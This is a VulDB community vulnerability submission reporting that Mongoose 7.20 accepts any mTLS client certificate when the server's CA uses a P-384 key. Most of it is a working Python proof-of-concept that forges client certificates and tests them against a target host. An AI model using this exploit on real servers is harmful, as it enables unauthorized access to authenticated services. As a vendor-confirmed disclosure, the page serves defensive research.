COMMUNITY CONTENT

Home › Submit › 770104

Submit #770104: Cesanta Mongoose 7.20 Authorization Bypass

Title	Cesanta Mongoose 7.20 Authorization Bypass
Description	secp384r1 (P-384) Certificate Verification Bypass in Mongoose v7.20 mTLS mg_tls_verify_cert_signature() returns 1 without checking when the issuer CA has a P-384 public key (96 bytes). This means ANY such client certificate is accepted by an mTLS server. https://github.com/cesanta/mongoose/blob/master/mongoose.c#L14080 ### Impact mTLS based authentication bypass. ### Disclosure Vendor contacted Feb 26 and CONFIRMED the vulnerability. ### Exploit Due to the nature of the library, I could not target a single device or hardware configuration, so I had to create one myself via qemu. ```python #!/usr/bin/env python3 import socket import ssl import subprocess import tempfile import os import sys def generate_p256_fake_ca_cert(tmpdir): """Generate a P-256 client cert signed by a random CA (NOT the server's CA).""" ca_key = os.path.join(tmpdir, "fake_ca.key") ca_cert = os.path.join(tmpdir, "fake_ca.pem") cli_key = os.path.join(tmpdir, "p256_client.key") cli_csr = os.path.join(tmpdir, "p256_client.csr") cli_cert = os.path.join(tmpdir, "p256_client.pem") subprocess.run(["openssl", "ecparam", "-name", "prime256v1", "-genkey",

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

```
                "-noout", "-out", ca_key], capture_output=True, check=True)
    subprocess.run(["openssl", "req", "-new", "-x509", "-key", ca_key,
                "-out", ca_cert, "-subj", "/CN=Attacker-Fake-CA", "-days", "365"],
                capture_output=True, check=True)
    subprocess.run(["openssl", "ecparam", "-name", "prime256v1", "-genkey",
                "-noout", "-out", cli_key], capture_output=True, check=True)
    subprocess.run(["openssl", "req", "-new", "-key", cli_key, "-out", cli_csr,
                "-subj", "/CN=unauthorized-attacker"], capture_output=True, check=True)
    subprocess.run(["openssl", "x509", "-req", "-in", cli_csr, "-CA", ca_cert,
                "-CAkey", ca_key, "-CAcreateserial", "-out", cli_cert, "-days", "365"],
                capture_output=True, check=True)
    return cli_cert, cli_key


def generate_rsa_fake_ca_cert(tmpdir):
    """Generate an RSA client cert signed by a random CA (NOT the server's CA).
    RSA is fully supported by Mongoose CertificateVerify (sigalg 0x0804)."""
    ca_key = os.path.join(tmpdir, "fake_rsa_ca.key")
    ca_cert = os.path.join(tmpdir, "fake_rsa_ca.pem")
    cli_key = os.path.join(tmpdir, "rsa_client.key")
    cli_csr = os.path.join(tmpdir, "rsa_client.csr")
    cli_cert = os.path.join(tmpdir, "rsa_client.pem")

    subprocess.run(["openssl", "genrsa", "-out", ca_key, "2048"],
                capture_output=True, check=True)
    subprocess.run(["openssl", "req", "-new", "-x509", "-key", ca_key,
                "-out", ca_cert, "-subj", "/CN=Attacker-RSA-CA", "-days", "365"],
                capture_output=True, check=True)
    subprocess.run(["openssl", "genrsa", "-out", cli_key, "2048"],
                capture_output=True, check=True)
    subprocess.run(["openssl", "req", "-new", "-key", cli_key, "-out", cli_csr,
                "-subj", "/CN=rsa-attacker"], capture_output=True, check=True)
    subprocess.run(["openssl", "x509", "-req", "-in", cli_csr, "-CA", ca_cert,
                "-CAkey", ca_key, "-CAcreateserial", "-out", cli_cert, "-days", "365"],
                capture_output=True, check=True)
    return cli_cert, cli_key


def generate_self_signed_cert(tmpdir):
    """Generate a completely self-signed P-256 cert (no CA at all)."""
    cli_key = os.path.join(tmpdir, "selfsigned.key")
    cli_cert = os.path.join(tmpdir, "selfsigned.pem")

    subprocess.run(["openssl", "ecparam", "-name", "prime256v1", "-genkey",
                "-noout", "-out", cli_key], capture_output=True, check=True)
    subprocess.run(["openssl", "req", "-new", "-x509", "-key", cli_key,
                "-out", cli_cert, "-subj", "/CN=self-signed-intruder", "-days", "365"],
                capture_output=True, check=True)
    return cli_cert, cli_key


def try_connect(host, port, cert=None, key=None):
    """Attempt TLS connection, optionally with a client cert.
```

```
    Returns (success: bool, detail: str).
    success=True only if we got an actual HTTP response (server authenticated us)."""
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.minimum_version = ssl.TLSVersion.TLSv1_3
    if cert and key:
        ctx.load_cert_chain(cert, key)

    try:
        with socket.create_connection((host, port), timeout=10) as sock:
            with ctx.wrap_socket(sock, server_hostname="localhost") as ssock:
                ssock.sendall(b"GET / HTTP/1.1\r\nHost: localhost\r\nConnection:
close\r\n\r\n")
                resp = ssock.recv(4096)
                if resp:
                    status = resp.split(b"\r\n")[0].decode("utf-8", errors="replace")
                    return True, status
                else:
                    # TLS handshake completed but server sent no data and closed.
                    # In TLS 1.3, handshake finishes before cert validation,
                    # so the server rejected our cert AFTER the handshake.
                    return False, "Server dropped connection after cert validation"
    except ssl.SSLError as e:
        return False, str(e)
    except ConnectionResetError:
        return False, "Connection reset by server"
    except Exception as e:
        return False, str(e)


def run_test(num, title, expected_reject, host, port, cert=None, key=None,
             cert_desc=None, reason=None):
    """Run a single test and print results."""
    print(f"[Test {num}] {title}")
    if cert_desc:
        print(f"  Cert:     {cert_desc}")
    print(f"  Expected: {'REJECTED' if expected_reject else 'ACCEPTED'}" +
          (f" ({reason})" if reason else ""))

    ok, detail = try_connect(host, port, cert, key)

    if ok:
        print(f"  Result:   ACCEPTED  ->  {detail}")
        if expected_reject:
            print("  VULNERABILITY!")
            return True  # vuln found
        else:
            print("  (correct)")
    else:
        print(f"  Result:   REJECTED  ->  {detail}")
        if expected_reject:
            print("  (correct)")
```

```
        else:
            print("  UNEXPECTED - should have been accepted")
    print()
    return False


if __name__ == "__main__":
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8443

    print(f"secp384r1 Signature Bypass -> {host}:{port}")
    print("=" * 55)
    print()

    vulns = 0

    with tempfile.TemporaryDirectory() as tmpdir:

        # ── Test 1: No client cert ──
        vulns += run_test(1, "No client certificate",
                          expected_reject=True, host=host, port=port,
                          reason="mTLS requires a client cert")

        # ── Test 2: RSA client cert, wrong CA (RSA is supported via sigalg 0x0804) ──
        cert, key = generate_rsa_fake_ca_cert(tmpdir)
        vulns += run_test(2, "RSA client cert, wrong CA",
                          expected_reject=True, host=host, port=port,
                          cert=cert, key=key,
                          cert_desc="CN=rsa-attacker (RSA-2048), signed by CN=Attacker-RSA-
CA",
                          reason="wrong CA - not signed by server's P-384 CA")

        # ── Test 3: P-256 client cert, wrong CA (BYPASS) ──
        cert, key = generate_p256_fake_ca_cert(tmpdir)
        vulns += run_test(3, "P-256 client cert, wrong CA",
                          expected_reject=True, host=host, port=port,
                          cert=cert, key=key,
                          cert_desc="CN=unauthorized-attacker (P-256 key), signed by
CN=Attacker-Fake-CA",
                          reason="wrong CA - not signed by server's P-384 CA")

        # ── Test 4: Self-signed P-256 cert (BYPASS) ──
        cert, key = generate_self_signed_cert(tmpdir)
        vulns += run_test(4, "Self-signed P-256 cert",
                          expected_reject=True, host=host, port=port,
                          cert=cert, key=key,
                          cert_desc="CN=self-signed-intruder (P-256 key, no CA)",
                          reason="not signed by server's CA")

    # ── Summary ──
    print("=" * 55)
    if vulns:
        print(f"RESULT: {vulns} bypass(es) confirmed")
```

```
    print()
    print("  When the server's CA is P-384, mg_tls_verify_cert_signature()")
    print("  returns 1 without checking the signature. Any client cert")
    print("  using a supported algorithm (RSA or P-256 ECDSA) is accepted")
    print("  regardless of which CA signed it.")
else:
    print("No bypasses detected (vulnerability may be fixed)")
print()
print("Direct proof inside the container:")
print("  docker exec mongoose-target /poc/test_secp384r1")
```

User	the_evilsocket (UID 96063)
Submission	03/02/2026 05:41 PM (1 month ago)
Moderation	04/02/2026 09:43 AM (1 month later)
Status	Accepted
VulDB entry	354827 [Cesanta Mongoose up to 7.20 P-384 Public Key mongoose.c mg_tls_verify_cert_signature authorization]
Points	17